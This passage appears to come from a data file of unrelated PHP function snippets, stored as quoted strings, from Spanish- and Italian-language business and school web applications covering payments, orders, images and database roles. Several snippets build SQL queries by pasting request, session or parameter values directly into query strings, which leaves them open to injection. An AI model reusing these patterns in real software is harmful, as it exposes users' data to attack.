FUNCIONES::plan_de_pagos($data);\n }\n\n\n\n// FUNCIONES::print_pre($lista_pagos);\n// return;\n\n $sql_ins_id = \"insert into interno_deuda(\n\n ind_tabla,ind_tabla_id,ind_num_correlativo,ind_int_id,ind_fecha,ind_moneda,\n\n ind_interes,ind_capital,ind_monto,ind_saldo,ind_fecha_programada,ind_estado,\n\n ind_dias_interes,ind_concepto,ind_usu_id,ind_tipo,ind_fecha_cre,ind_form\n\n )values\";\n\n $fecha_cre = date('Y-m-d H:i:s');\n\n $i = 0;\n\n $nro_cuota = 0;\n\n foreach ($lista_pagos as $fila) {\n\n if ($i > 0) {\n\n $sql_ins_id.= \",\";\n }\n\n $sql_ins_id.= \"(\n\n 'venta','$par->tabla_id','$fila->nro_cuota','$par->int_id','$par->fecha','$par->moneda',\n\n '$fila->interes','$fila->capital','$fila->monto','$fila->saldo','$fila->fecha','Pendiente',\n\n '$fila->dias','Cuota Nro $fila->nro_cuota - $par->concepto','$par->usuario','pcuota','$fecha_cre','$par->val_form'\n\n )\";\n\n $nro_cuota = $fila->nro_cuota;\n\n $i++;\n }\n\n// $nro_cuota_inicio++;\n\n if (count($lista_pagos) > 0) {\n\n $conec->ejecutar($sql_ins_id);\n }\n\n\n\n return $nro_cuota;\n}", "public function insertPlanes()\n {\n $atributos=array( $this->asignatura , $this->correlativ , $this->ciclo , $this->fechaplan , $this->uv , $this->acuerdo );\n //descomentarear la l�nea siguiente y comentarear la anterior si la llave primaria no es autoincremental\n //$atributos=array( $this->codigopla , $this->asignatura , $this->correlativ , $this->ciclo , $this->fechaplan , $this->uv , $this->acuerdo );\n\n return $this->conexionPlanes->insertarRegistro($atributos);\n }", "function identificar_pago_cli_mercantil($acceso,$id_cuba,$abrev_cuba){\n\t$acceso2=conexion();\n\t\n\t\tsession_start();\n\t\t$ini_u = $_SESSION[\"ini_u\"]; \n\t\tif($ini_u==''){\n\t\t\t$ini_u =\"AA\";\n\t\t}\n\t$acceso->objeto->ejecutarSql(\"select *from pagodeposito where (id_pd ILIKE '$ini_u%') ORDER BY id_pd desc\"); \n\t$id_pd = $ini_u.verCoo($acceso,\"id_pd\");\n\t$login = $_SESSION[\"login\"]; \n\t$fecha= date(\"Y-m-d\");\n\t$hora= date(\"H:i:s\");\n\t\n\t$palabra_clave='DEPOSITO EN EFECTIVO';\n\t$palabra_clave1='DEPO-FACIL ELECTRONICO';\n\t//ECHO \" select * from vista_tablabancos where id_cuba='$id_cuba' and descrip_tb ilike 'REC. INT. CARGO CUENTA%'\";\n\t$acceso2->objeto->ejecutarSql(\" select * from vista_tablabancos where id_cuba='$id_cuba' and (descrip_tb ilike '$palabra_clave%' or descrip_tb ilike '$palabra_clave1%' )AND (Status_tb='REGISTRADO' or status_tb='NO RELACIONADO')order by id_tb \");\n\t\twhile($row=row($acceso2)){\n\t\t\t$abrev_cuba=trim($row[\"abrev_cuba\"]);\n\t\t\t$id_tb=trim($row[\"id_tb\"]);\n\t\t\t//echo \"<br>$abrev_cuba:\";\n\t\t\t$fecha_tb=trim($row[\"fecha_tb\"]);\n\t\t\t$referencia_tb=trim($row[\"referencia_tb\"]);\n\t\t\t$monto_tb=trim($row[\"monto_tb\"]);\n\t\t\t$descrip_tb=trim($row[\"descrip_tb\"]);\n\t\t\t$valor=explode($palabra_clave,$descrip_tb);\n\t\t\t$ini=substr($referencia_tb, 0, 3);\n\t\t\t$nro_contrato='00000000000000000000000000';\n\t\t\t//echo \"<br>:$referencia_tb:\";\n\t\t\t//if($ini=='000'){\n\t\t\t\t//$nro_contrato=\t$ano=substr($referencia_tb, 3, 8);\n\t\t\t\t$nro_contrato=\t$referencia_tb;\n\t\t\t\tif(strlen($nro_contrato)!=8 && strlen($nro_contrato)!=7){\n\t\t\t\t\tcontinue;\n\t\t\t}\n\t\t\t//\techo \"<br>nro_contrato:$nro_contrato:\";\n\t\t\t//}\n\t\t\t//echo \"<br>$referencia_tb: select * from contrato where nro_contrato ilike '%$nro_contrato%' \";\n\t\t\t$acceso->objeto->ejecutarSql(\" select * from contrato where nro_contrato ilike '%$nro_contrato%' \");\n\t\t\tif($row=row($acceso)){\n\t\t\t\t$id_contrato=trim($row[\"id_contrato\"]);\n\t\t\t\t$acceso->objeto->ejecutarSql(\"insert into pagodeposito(id_pd,id_contrato,fecha_reg,hora_reg,login_reg,fecha_dep,banco,numero_ref,status_pd,tipo_dt,monto_dep,obser_p,id_tb,fecha_conf,hora_conf,login_conf) values \n\t\t\t\t('$id_pd','$id_contrato','$fecha','$hora','$login','$fecha_tb','$id_cuba','$referencia_tb','CONFIRMADO','DEPOSITO','$monto_tb','$descrip_tb','$id_tb','$fecha','$hora','$login')\");\t\n\t\t\t\t$acceso->objeto->ejecutarSql(\"update tabla_bancos set status_tb='CONCILIADO' , tipo_tb='CLIENTES' where id_tb='$id_tb'\");\t\n\t\t\t\t$id_pd=$ini_u.verCoo_inc($acceso,$id_pd);\n\t\t\t\t\n\t\t\t}else{\n\t\t\t\t$acceso->objeto->ejecutarSql(\"update tabla_bancos set status_tb='NO RELACIONADO', tipo_tb='CLIENTES' where id_tb='$id_tb'\");\t\n\t\t\t}\n\t\t}\n\treturn $cad;\t\n}", "public function postDiagFamiUsuaUsua()\n\t{\t\n\t\t$usuario=Input::get('usuario');\n\t\t$jsonarray_diag = utf8_encode (file_get_contents(public_path().'\\assets\\art\\js\\encuentas_diagnostico.json'));\n\t\t$jsonarray_diag2 = json_decode($jsonarray_diag, true);\n\n\t\t$jsonarray_anexo = utf8_encode (file_get_contents(public_path().'\\assets\\art\\js\\encuentas_anexo.json'));\n\t\t$jsonarray_anexo2 = json_decode($jsonarray_anexo, true);\n\n\n\t\t//almacena del json los datos de usuario para buscarlos y agruparlos\n\t\t$num_diagn_depto=0;\n\t\tfor ($i=0; $i < count($jsonarray_diag2); $i++) { \n\t\t\tif($jsonarray_diag2[$i]['Usuario']==$usuario){\n\t\t\t\t$deptosencu[substr($jsonarray_diag2[$i]['Cod_dane'], 0, 2)] = $jsonarray_diag2[$i]['Departamento'];\n\t\t\t\t$num_diagn_depto=1+$num_diagn_depto;\n\t\t\t}\t\t\t\t\n\t\t}\n\t\tasort($deptosencu);\n\n\t\t$num_anexo_depto=0;\n\t\t$data_null=0;\n\t\tfor ($j=0; $j < count($jsonarray_anexo2); $j++) { \n\t\t\tif($jsonarray_anexo2[$j]['Cod_dane']!='NULL'){\n\t\t\t\tif($jsonarray_anexo2[$j]['Usuario']==$usuario){\n\t\t\t\t\t$num_anexo_depto=1+$num_anexo_depto;\n\t\t\t\t}\n\t\t\t}else{\n\t\t\t\tif($jsonarray_anexo2[$j]['Usuario']==$usuario){\n\t\t\t\t\t$data_null=1+$data_null;\n\t\t\t\t}\n\t\t\t}\t\n\t\t}\n\n\t\t$deptos=array($num_diagn_depto, $num_anexo_depto);\n\t\treturn array('depto'=>$deptosencu,'depto_val'=>$deptos,'data_null'=>$data_null);\n\t}", "public function generar_codigo($basedatos,$cantidad) {\n\t\t\t$tabla = DB::table($basedatos)\n ->select(DB::raw('max(codigo) as codigo'))\n ->get();\n\n //conversion a string y suma uno para el siguiente id\n $idsuma = (int)$tabla[0]->codigo + 1;\n\n\t\t \t//concatenar con ceros\n\t\t \t$correlativocompleta = str_pad($idsuma, $cantidad, \"0\", STR_PAD_LEFT); \n\n\t \t\treturn $correlativocompleta;\n\n\t}", "public function creaInsegnamentoDaCodice($codice) {\n \n \n $query = \"select \n insegnamenti.id insegnamenti_id,\n insegnamenti.titolo insegnamenti_titolo,\n insegnamenti.cfu insegnamenti_cfu,\n insegnamenti.codice insegnamenti_codice,\n\n docenti.id docenti_id,\n docenti.nome docenti_nome,\n docenti.cognome docenti_cognome,\n docenti.email docenti_email,\n docenti.citta docenti_citta,\n docenti.cap docenti_cap,\n docenti.via docenti_via,\n docenti.provincia docenti_provincia,\n docenti.numero_civico docenti_numero_civico,\n docenti.ricevimento docenti_ricevimento,\n docenti.username docenti_username,\n docenti.password docenti_password,\n dipartimenti.id dipartimenti_id,\n dipartimenti.nome dipartimenti_nome,\n CdL.id CdL_id,\n CdL.nome CdL_nome,\n CdL.codice CdL_codice\n from insegnamenti\n join docenti on insegnamenti.docente_id = docenti.id \n join dipartimenti on docenti.dipartimento_id = dipartimenti.id \n join CdL on insegnamenti.cdl_id = CdL.id\n where insegnamenti.codice = ?\";\n $mysqli = Db::getInstance()->connectDb();\n if (!isset($mysqli)) {\n error_log(\"[creaInsegnamentoDaCodice] impossibile inizializzare il database\");\n $mysqli->close();\n return $insegnamenti;\n }\n \n $stmt = $mysqli->stmt_init();\n $stmt->prepare($query);\n if (!$stmt) {\n error_log(\"[creaInsegnamentoDaCodice] impossibile\" .\n \" inizializzare il prepared statement\");\n $mysqli->close();\n return null;\n }\n\n if (!$stmt->bind_param('s', $codice)) {\n error_log(\"[creaInsegnamentoDaCodice] impossibile\" .\n \" effettuare il binding in input\");\n $mysqli->close();\n return null;\n }\n\n $insegnamenti = self::caricaInsegnamentiDaStmt($stmt);\n if(count($insegnamenti) > 0){\n $mysqli->close();\n return $insegnamenti[0];\n }else{\n $mysqli->close();\n return null;\n }\n }", "function tablaGruposTutorJuniorAsignadosTutor($idCursoAbierto,$idTutor)\n{\n \n if(!is_numeric($idCursoAbierto))\n return NULL;\n \n if(!is_numeric($idTutor))\n return NULL;\n \n \n $arrayGrupos = consultaGruposRelacionCursoAbierto($idCursoAbierto,$idTutor);\n if($arrayGrupos)\n {\n foreach ($arrayGrupos as $grupo) {\n $nombreInstitucion = html_entity_decode(getNombreInstitucion($grupo->idEscuela));\n $nombreEscuela = getNombreEscuela($grupo->idEscuela);\n $nombreEmpresa = html_entity_decode(getNombreEmpresa($grupo->idEmpresa));\n $nAlumnos = getCantidadAlumnosGrupo($grupo->id);\n \n if ($grupo->tipoGrupo == 0) {\n $tipoGrupo = \"Escuela\";\n } else {\n $tipoGrupo = \"Empresa\";\n }\n echo <<<HTML\n <tr>\n <td><a class=\"icon-user icon-black\" href=\"alumnosAsignadosGrupo.php?idGrupo=$grupo->id&idCursoAbierto=$idCursoAbierto\" role=\"button\" data-toggle=\"modal\" title=\"Ver Alumno\"></a>\n <a class=\"icon-book icon-black\" href=\"tutoresJrAsignadosGrupo.php?idGrupo=$grupo->id&idCursoAbierto=$idCursoAbierto\" role=\"button\" data-toggle=\"modal\" title=\"Ver Tutores Juniorr\"></a>\n \n </td>\n <td>$nAlumnos</td>\n <td>$grupo->nombre</td>\n <td>$grupo->clave</td>\n <td>$tipoGrupo</td>\n <td>$nombreInstitucion</td>\n <td>$nombreEscuela</td>\n <td>$nombreEmpresa</td> \n </tr>\nHTML;\n } \n \n }\n}", "function alta_compra(){\n\t\t$u= new Pr_pedido();\n\t\t$u->get_by_id($_POST['id']);\n\t\t$u->usuario_id=$GLOBALS['usuarioid'];\n\t\t$u->empresas_id=$GLOBALS['empresa_id'];\n\t\t$usuario=$this->usuario->get_usuario($GLOBALS['usuarioid']);\n\t\t//Encargada de Tienda\n\t\tif ($usuario->puesto_id==6 or $usuario->puesto_id==7) {\n\t\t\t$u->corigen_pedido_id=3;\n\t\t\t$u->usuario_validador_id=$u->usuario_id;\n\t\t} else {\n\t\t\t$u->corigen_pedido_id=2;\n\t\t}\n\t\t$u->fecha_alta=date(\"Y-m-d H:i:s\");\n\t\t$related = $u->from_array($_POST);\n\t\t//Adecuar las Fechas al formato YYYY/MM/DD\n\t\t$fecha_pago=explode(\" \", $_POST['fecha_pago']);\n\t\t$fecha_entrega=explode(\" \", $_POST['fecha_entrega']);\n\t\t$u->fecha_pago=\"\".$fecha_pago[2].\"-\".$fecha_pago[1].\"-\".$fecha_pago[0];\n\t\t$u->fecha_entrega=\"\".$fecha_entrega[2].\"-\".$fecha_entrega[1].\"-\".$fecha_entrega[0] ;\n\t\t// save with the related objects\n\t\tif($u->save($related)) {\n\t\t\techo form_hidden('id', \"$u->id\");\n\t\t\techo '<button type=\"submit\" id=\"boton1\" style=\"display:none;\">Actualizar Registro</button>';\n\t\t\techo \"<p id=\\\"response\\\">Datos Generales Guardados<br/><b>Capturar los detalles del pedido</b></p>\";\n\t\t} else\n\t\t\tshow_error(\"\".$u->error->string);\n\t}", "function crear_script_generacion_roles_db($dir = '', $perfiles_eliminados=array())\n\t{\n\t\t$sentencias = array(); $fuentes = array(); $sql = array();\n\t\t$prefijo_archivo = $this->identificador.'_roles_';\n\t\ttoba_proyecto_db::set_db( $this->db );\n\n\t\t//------------------------------------------------------------------------------------------//\n\t\t//\tObtengo estado actual de perfiles funcionales\n\t\t//------------------------------------------------------------------------------------------//\n\t\t$grupos = $this->get_indice_grupos_acceso();\n\t\t//Ahora busco las fuentes del mismo, quitando aquellas que no usen permisos por tablas o no esten configuradas para que no tire error\n\t\t$fuentes_disponibles = toba_info_editores::get_fuentes_datos($this->identificador);\n\t\tforeach ($fuentes_disponibles as $fuente) {\n\t\t\ttry {\n\t\t\t\t$this->construir_id_def_base($fuente['fuente_datos']);\n\t\t\t\tif ($fuente['permisos_por_tabla'] == '1') {\n\t\t\t\t\t$fuentes[] = $fuente['fuente_datos'];\n\t\t\t\t}\n\t\t\t} catch (toba_error $e) {\n\t\t\t\tcontinue;\n\t\t\t}\n\t\t}\n\n\t\t$roles_activos_db = $this->get_roles_disponibles();\n\n\t\t//------------------------------------------------------------------------------------------//\n\t\t//\tGenero el nuevo estado para los perfiles\n\t\t//------------------------------------------------------------------------------------------//\n\t\tforeach($grupos as $perfil) {\n\t\t\t$nombre_final = $this->get_nombre_rol($perfil);\n\t\t\t$rol_existente = (in_array($nombre_final, $roles_activos_db));\t\t\t\t\t\t\t\t//Miro si es un rol existente o eliminado.\n\t\t\t$rol_eliminado = (in_array($perfil, $perfiles_eliminados));\n\t\t\t$drop_generado = false;\n\n\t\t\tif (! $rol_existente) {\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//Si es un perfil nuevo, creo el rol correspondiente\n\t\t\t\t$sql[] = $this->get_db()->crear_rol($nombre_final, false);\n\t\t\t}\n\n\t\t\t$operaciones_disponibles = toba_proyecto_db::get_items_accesibles($this->identificador, array($perfil));\t\t\t\t\t\t\t//Obtengo las operaciones para el perfil\n\t\t\tforeach ($fuentes as $fuente) {\n\t\t\t\t$permisos_tablas = $this->get_tablas_permitidas_x_fuente($fuente, $operaciones_disponibles);\t\t\t\t\t\t\t//Obtengo las tablas que usan las operaciones en esta fuente\n\t\t\t\t$sql_rvk_rol = (! $rol_existente) ? array(): $this->get_sql_revocacion_permisos_rol($nombre_final, $fuente, $permisos_tablas);\t//Genero las SQLs para los REVOKE si existe el rol\n\n\t\t\t\tif (! $rol_eliminado) {\n\t\t\t\t\t$sql_rol = $this->get_sql_generacion_permisos_rol($nombre_final, $fuente, $permisos_tablas);\t\t\t\t\t\t//Genero las SQLs para los GRANT\tsi es nuevo o existe\n\t\t\t\t} elseif (! $drop_generado) {\n\t\t\t\t\t$sql[] = $this->get_db()->borrar_rol($nombre_final, false);\t\t\t\t\t\t\t\t\t\t\t\t\t\t//Genero el DROP si el rol no existe mas.\n\t\t\t\t\t$drop_generado = true;\n\t\t\t\t}\n\n\t\t\t\tif (! empty($sql_rol) || ! empty($sql_rvk_rol)) {\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//Agrego las consultas al pool para la fuente\n\t\t\t\t\t$sentencias[$fuente] = (! isset($sentencias[$fuente])) ? array_merge($sql_rvk_rol, $sql, $sql_rol): array_merge($sentencias[$fuente], $sql_rvk_rol, $sql, $sql_rol);\n\t\t\t\t\t$sql = array();\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t//Reinicializo para evitar que el rol se cree nuevamente.\n\t\t\t\t\t$sql_rol = array();\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\t//------------------------------------------------------------------------------------------//\n\t\t//\t\tGrabo todo en los archivos correspondientes\n\t\t//------------------------------------------------------------------------------------------//\n\t\tforeach ($fuentes as $fuente) {\n\t\t\t$nombre_archivo = $dir . $prefijo_archivo . '_' . $fuente. '.sql';\n\t\t\tif (! empty ($sentencias[$fuente])) {\n\t\t\t\tif (! file_put_contents($nombre_archivo, $sentencias[$fuente])) {\t\t\t\t\t\n\t\t\t\t\tthrow new toba_error('PROYECTO: Se produjo un error en la generación del script, verifique los logs', 'Se produjo un error al guardar los datos para la fuente '. $fuente);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}", "static public function ctrCrearTransportadoraExterno(){\n\n\t\tif(isset($_POST[\"nuevaTransportadora\"])){\n\n\t\t\tif(preg_match('/^[a-zA-Z0-9ñÑáéíóúÁÉÍÓÚ\\. ]+$/', $_POST[\"nuevaTransportadora\"])){\n\n\t\t\t /*=============================================\n\t\t\t\tVALIDAR IMAGEN DEL LOGO\n\t\t\t\t=============================================*/\n\n\t\t\t\t$ruta = \"\";\n\n\t\t\t\tif(isset($_FILES[\"nuevoLogo\"][\"tmp_name\"])){\n\n\t\t\t\t\tlist($ancho, $alto) = getimagesize($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t$nuevoAncho = 500;\n\t\t\t\t\t$nuevoAlto = 500;\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tCREAMOS EL DIRECTORIO DONDE VAMOS A GUARDAR EL LOGO DE LA TRANSPORTADORA\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t$nuevaTransportadoraDir = str_replace(array('ñ','Ñ','á','é','í','ó','ú','Á','É','Í','Ó','Ú','.',' '),array('n','N','a','e','i','o','u','A','E','I','O','U','_','_'),trim($_POST[\"nuevaTransportadora\"]));\n\n\t\t\t\t\t$directorio = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir;\n\n\t\t\t\t\tmkdir($directorio, 0755);\n\n\t\t\t\t\t/*=============================================\n\t\t\t\t\tDE ACUERDO AL TIPO DE IMAGEN APLICAMOS LAS FUNCIONES POR DEFECTO DE PHP\n\t\t\t\t\t=============================================*/\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/jpeg\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".jpg\";\n\n\t\t\t\t\t\t$origen = imagecreatefromjpeg($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagejpeg($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t\tif($_FILES[\"nuevoLogo\"][\"type\"] == \"image/png\"){\n\n\t\t\t\t\t\t/*=============================================\n\t\t\t\t\t\tGUARDAMOS LA IMAGEN EN EL DIRECTORIO\n\t\t\t\t\t\t=============================================*/\n\n\t\t\t\t\t\t$aleatorio = mt_rand(100,999);\n\n\t\t\t\t\t\t$ruta = \"vistas/img/transportadoras/\".$nuevaTransportadoraDir.\"/\".$aleatorio.\".png\";\n\n\t\t\t\t\t\t$origen = imagecreatefrompng($_FILES[\"nuevoLogo\"][\"tmp_name\"]);\n\n\t\t\t\t\t\t$destino = imagecreatetruecolor($nuevoAncho, $nuevoAlto);\n\n\t\t\t\t\t\timagecopyresized($destino, $origen, 0, 0, 0, 0, $nuevoAncho, $nuevoAlto, $ancho, $alto);\n\n\t\t\t\t\t\timagepng($destino, $ruta);\n\n\t\t\t\t\t}\n\n\t\t\t\t}\n\n\t\t\t\t/* =====================================\n\t\t\t\t\tVALIDAR TRANSPORTADORA\n\t\t\t\t========================================== */\n\n\t\t\t\t$tabla = \"transportadoras\";\n\n\t\t\t\t$datos = array(\"transportadora\" => $_POST[\"nuevaTransportadora\"],\n\t\t\t\t\t \"logo\"=>$ruta);\n\n\t\t\t\t$respuesta = ModeloTransportadoras::mdlIngresarTransportadora($tabla, $datos);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"success\",\n\t\t\t\t\t\ttitle: \"¡La transportadora ha sido guardada correctamente!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"radicador\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t\t</script>';\n\n\n\t\t\t\t}\n\n\n\t\t\t}else{\n\n\t\t\t\techo '<script>\n\n\t\t\t\t\tswal({\n\n\t\t\t\t\t\ttype: \"error\",\n\t\t\t\t\t\ttitle: \"¡La transportadora no puede ir vacía o llevar caracteres especiales!\",\n\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t}).then(function(result){\n\n\t\t\t\t\t\tif(result.value){\n\n\t\t\t\t\t\t\twindow.location = \"radicador\";\n\n\t\t\t\t\t\t}\n\n\t\t\t\t\t});\n\n\n\t\t\t\t</script>';\n\n\t\t\t}\n\n\n\t\t}\n\n\n\t}", "function createIngrediente($preco,$qtd_disponivel,$nome){\n if( $this->getIngredienteID($nome)){\n return false;\n }\n\n $query = \"INSERT INTO $this->ingrediente\n ($this->preco, $this->qtd_disponivel, $this->nome)\n values ('$preco', '$qtd_disponivel', '$nome')\";\n\n //Insert ingrediente into database\n if ( $this->dataBase->executeQuery($query) )\n //Fetch ingrediente id from tamanho\n $this->setingredienteID ($nome);\n else\n return false;\n\n return $this->id; // success\n }", "function insertarPresupuesto(){\n\t\t$this->procedimiento='pre.ft_presupuesto_ime';\n\t\t$this->transaccion='PRE_PRE_INS';\n\t\t$this->tipo_procedimiento='IME';\n\t\t\t\t\n\t\t//Define los parametros para la funcion\n\t\t$this->setParametro('estado_reg','estado_reg','varchar');\n\t\t$this->setParametro('descripcion','descripcion','varchar');\n\t\t$this->setParametro('estado','estado','varchar');\n\t\t$this->setParametro('gestion','gestion','int4');\n\t\t$this->setParametro('codigo','codigo','varchar');\n\n\t\t//Ejecuta la instruccion\n\t\t$this->armarConsulta();\n\t\t$this->ejecutarConsulta();\n\n\t\t//Devuelve la respuesta\n\t\treturn $this->respuesta;\n\t}", "private function recortarImagen()\n\t{\n\t\t$ImgTemporal=\"temporal_clase_Imagen.\".strtolower($this->extencion);\n\n\t\t$CoefAncho\t\t= $this->propiedadesImagen[0]/$this->anchoDestino;\n\t\t$CoefAlto\t\t= $this->propiedadesImagen[1]/$this->altoDestino;\n\t\t$Coeficiente=0;\n\t\tif ($CoefAncho>1 && $CoefAlto>1)\n\t\t{ if($CoefAncho>$CoefAlto){ $Coeficiente=$CoefAlto; } else {$Coeficiente=$CoefAncho;} }\n\n\t\tif ($Coeficiente!=0)\n\t\t{\n\t\t\t$anchoTmp\t= ceil($this->propiedadesImagen[0]/$Coeficiente);\n\t\t\t$altoTmp\t= ceil($this->propiedadesImagen[1]/$Coeficiente);\n\n\t\t\t$ImgMediana = imagecreatetruecolor($anchoTmp,$altoTmp);\n\t\t\timagecopyresampled($ImgMediana,$this->punteroImagen,0,0,0,0,$anchoTmp,$altoTmp,$this->propiedadesImagen[0],$this->propiedadesImagen[1]);\n\t\t\t\n\t\t\t// Tengo que desagregar la funcion de image para crear para reUtilizarla\n\t\t\t//imagejpeg($ImgMediana,$ImgTemporal,97);\n\t\t\t$this->crearArchivoDeImagen($ImgMediana,$ImgTemporal);\n\t\t}\n\n\t\t$fila\t\t\t= floor($this->recorte['centrado']/$this->recorte['columnas']);\n\t\t$columna\t\t= $this->recorte['centrado'] - ($fila*$this->recorte[\"columnas\"]);\n\t\t\n\t\t$centroX \t= floor(($anchoTmp / $this->recorte[\"columnas\"])/2)+$columna*floor($anchoTmp / $this->recorte[\"columnas\"]);\n\t\t$centroY \t= floor(($altoTmp / $this->recorte[\"filas\"])/2)+$fila*floor($altoTmp / $this->recorte[\"filas\"]);\n\n\t\t$centroX\t-= floor($this->anchoDestino/2);\n\t\t$centroY \t-= floor($this->altoDestino/2);\n\n\t\tif ($centroX<0) {$centroX = 0;}\n\t\tif ($centroY<0) {$centroY = 0;}\n\n\t\tif (($centroX+$this->anchoDestino)>$anchoTmp) {$centroX = $anchoTmp-$this->anchoDestino;}\n\t\tif (($centroY+$this->altoDestino)>$altoTmp) {$centroY = $altoTmp-$this->altoDestino;}\n\n\t\t$ImgRecortada = imagecreatetruecolor($this->anchoDestino,$this->altoDestino);\n\t\timagecopymerge ( $ImgRecortada,$ImgMediana,0,0,$centroX, $centroY, $this->anchoDestino, $this->altoDestino,100);\n\n\t\t//imagejpeg($ImgRecortada,$this->imagenDestino,97);\n\t\t$this->crearArchivoDeImagen($ImgRecortada,$this->imagenDestino);\n\t\timagedestroy($ImgRecortada);\n\t\tunlink($ImgTemporal);\n\t}", "public function ctrCreartransacion(){\n\t\tif(isset($_POST[\"idUsuarioInversion\"])){\t\t\n\n\t\t\t\t/* espacio para insertar datos en la tabla */\n\t\t\t\t$tabla = \"vad_transaciones\";\n\t\t\t\t$fecha_movimiento = substr(date(\"c\"), 0, -6);\n\t\t\t\t//$plan = $_POST[\"options\"];\n\t\t\t\t//$fecha_fin = substr(date(\"c\") + $plan, 0, -6).\"Z\";\n\t\t\t\t//$id = $_POST[\"txt_id_solicitud\"];\n\n\n\n\n\n\t\t\t\t\t\t$datos_mov = array(\"id_inversion\" => $_POST[\"txt_id_solicitud\"] ,\n\t\t\t\t\t\t\"monto\" => $_POST[\"txt_monto\"] ,\n\t\t\t\t\t\t\"tipo_movimiento\" => \"1\",\n\t\t\t\t\t\t\"fecha_movimiento\" => $fecha_movimiento );\n\n\t\t\t\t\t\t/* datos de los movimientos esta 1 es inversion , 2 es ganancia , 3 retiro */\n\n\t\t\t\t//echo '<pre>'; print_r($datos_mov); echo '</pre>';\n\n\t\t\t\t$respuesta = UserModel::mdlRegistroMovimientoInversion($tabla, $datos_mov);\n\n\t\t\t\tif($respuesta == \"ok\"){\n\n\t\t\t\t\techo '<script>\n\n\t\t\t\t\t\t\t\tswal({\n\n\t\t\t\t\t\t\t\t\ttype:\"success\",\n\t\t\t\t\t\t\t\t\ttitle: \"¡SU SOLICITUD HA SIDO ENVIADA!\",\n\t\t\t\t\t\t\t\t\ttext: \"¡El usuario podra revisar el estado de la solicitud en su opcion de historico!\",\n\t\t\t\t\t\t\t\t\tshowConfirmButton: true,\n\t\t\t\t\t\t\t\t\tconfirmButtonText: \"Cerrar\"\n\n\t\t\t\t\t\t\t\t});\t\n\n\t\t\t\t\t\t\t</script>';\n\t\t\t\t\t\n\n\t\t\t\t} // fin swl if que valida para enviar el mail\n\n\t\t\t\t/* Fin de la insercion de datos de la tabla*/\n\t\t\t\n\t\t}// fin del primer if donde pregunta si se envio el id del usuario\t\t\n\t}", "public function crear() {\n\t\t$this->load->model('pais_model');\n\t\t$datos['body']['paises'] = $this->pais_model-> getAll($filtro=\"\");\n\t\t\n\t\tenmarcar($this, 'autor/crear', $datos);\n\t}", "function detalle_presupuesto($id, $llamada = NULL)\n\t{\n\t\tif($this->session->userdata('logged_in'))\n\t\t{\n\t\t\t$_presupuesto = $this->presupuestos_model->getRegistro($id);\n\t\t\tif($_presupuesto){\n\t\t\t\tif($this->input->post('interes_tipo')){\n\t\t\t\t\n\t\t\t\t\tforeach ($_presupuesto as $_row) {\n\t\t\t\t\t\t$presupuesto_monto = $_row->monto;\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif($this->input->post('interes_tipo') == 'porcentaje'){\n\t\t\t\t\t\t$interes_monto = $presupuesto_monto * $this->input->post('interse_monto') / 100 ;\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$interes_monto = $this->input->post('interse_monto');\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\tif($this->input->post('descripcion_monto') == \"\"){\n\t\t\t\t\t\t$descripcion = date('d-m-Y').' Intereses generados por atraso';\n\t\t\t\t\t}else{\n\t\t\t\t\t\t$descripcion = date('d-m-Y').' '.$this->input->post('descripcion_monto');\n\t\t\t\t\t}\n\t\t\t\t\t\n\t\t\t\t\t$interes = array(\n\t\t\t\t\t\t'id_presupuesto'\t=> $id,\n\t\t\t\t\t\t'id_tipo'\t\t\t=> 1,\n\t\t\t\t\t\t'monto'\t\t\t\t=> $interes_monto,\n\t\t\t\t\t\t'descripcion'\t\t=> $descripcion,\n\t\t\t\t\t\t'fecha'\t\t\t\t=> date('Y-m-d H:i:s'),\n\t\t\t\t\t\t'id_usuario'\t\t=> 1, //agregar nombre de usuario\n\t\t\t\t\t);\n\t\t\t\t\t\t\n\t\t\t\t\t$this->intereses_model->insert($interes);\n\t\t\t\t\t\t\n\t\t\t\t\t$_presupuesto = array(\n\t\t\t\t\t\t'monto'\t\t\t\t=> $presupuesto_monto + $interes_monto,\n\t\t\t\t\t);\n\t\t\t\t\t\t\n\t\t\t\t\t$this->presupuestos_model->update($_presupuesto, $id);\n\t\t\t\t}\n\t\t\t\n\t\t\t\t$condicion = array(\n\t\t\t\t\t'id_presupuesto' => $id\n\t\t\t\t);\t\t\t\n\t\t\t\t\n\t\t\t\t$db['texto']\t\t\t\t= 